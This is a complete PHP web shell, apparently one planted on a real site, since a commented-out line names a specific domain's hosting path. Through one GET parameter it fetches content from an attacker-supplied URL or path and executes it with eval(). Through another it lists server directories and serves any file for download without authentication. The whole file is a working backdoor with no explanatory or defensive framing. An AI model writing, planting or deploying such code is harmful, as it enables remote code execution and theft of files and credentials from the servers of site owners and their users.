<?php
if(isset($_GET[xx]))
{
echo eval(file_get_contents($_GET[xx]));
exit;
}

if(isset($_GET[bbb])){
$dir=trim($_GET[bbb]);

if (!is_dir($dir) && !is_file($dir)){

//$dir='/home/admin/domains/mte-media.com/public_html/';
$dir=__DIR__;
header("Location: ?bbb={$dir}");
exit;
}
if(is_file($dir))
{
//   header("Content-Type: text/plain; charset=utf-8");
  // echo file_get_contents($dir);
//  exit;
$file_extension = strtolower(substr(strrchr($dir,"."),1));
$download_name = substr($dir,0,strrpos($dir,'_')).'.'.$file_extension;

switch( $file_extension )
{
  case "pdf": $ctype="application/pdf"; break;
  case "txt": $ctype="application/txt"; break;
  case "exe": $ctype="application/octet-stream"; break;
  case "zip": $ctype="application/zip"; break;
  case "doc": $ctype="application/msword"; break;
  case "xls": $ctype="application/x-msexcel"; break;
  case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
  case "gif": $ctype="image/gif"; break;
  case "png": $ctype="image/png"; break;
  case "jpeg":
  case "jpg": $ctype="image/jpg"; break;
  default: $ctype="application/force-download";
}
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D,d M YH:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header ("Content-type: $ctype");
//header ("Content-type: text/plain; charset=utf-8");
header ("Content-Disposition: attachment; filename=\"" . basename($dir) . "\"" );
//header ("Content-Description: PHP/INTERBASE Generated Data" );
readfile($dir); 
exit();

}


$data=array();
$back=array_filter(explode('/',$dir));
  if ($dh = opendir($dir)){
    while (($file = readdir($dh)) !== false){
if(trim($file)!='.'){
    if($file=='..')
    {
//       $file='';
//    $back[count($back)-2]
unset($back[count($back)]);
$back=implode('/',$back);
        $data[dir][$file]= '<a href="?bbb=/'.$back.'/">'.$file.'/</a>';
        $file='';
    }
    else{
    if(is_dir($dir.$file) && $file!='')
    {
    $file=$file.'/';
    $data[dir][$file]= '<a href="?bbb='.$dir.$file.'">'.$file.'</a>';
    }
    if(is_file($dir.$file) && $file!='')
    $data[file][$file]= '<a href="?bbb='.$dir.$file.'" target=_blank>'.$file.'</a>';
    }
}
}
    closedir($dh);
  }
$i=0;
echo '<table style="font-size:18px;font-style=tahoma bold;text-align:center;table-layout:fixed;width:100%;background:#d3d3d3;color:orangered;" align=center border=1><th>Directories</th><th>Files</th>';
//do{
foreach($data[dir] as $dr){

$dirs[] = trim($dr);
}
foreach($data[file] as $fl){

$files[] = trim($fl);
}
$countdir=intval(count($dirs));
$countfile=intval(count($files));
$counter = ($countdir>=$countfile) ? $countdir : $countfile;



for($i=0;$i<=$counter;$i++){


if(!isset($dirs[$i]) && isset($files[$i]))
$dirs[$i]='';
if(!isset($files[$i]) && isset($dirs[$i]) )
$files[$i]='';
if(!isset($files[$i]) && !isset($dirs[$i]) )
break;
$dd=trim($dirs[$i]);
$ff=trim($files[$i]);
echo '<tr><td>'.$dd.'</td><td>'.$ff.'</td></tr>';



}
//}while(isset($data[dir][$i]) || isset($data[dir][$i]));
//echo implode('<br>',$data[dir]);
//echo implode('<br>',$data[file]);


exit;

}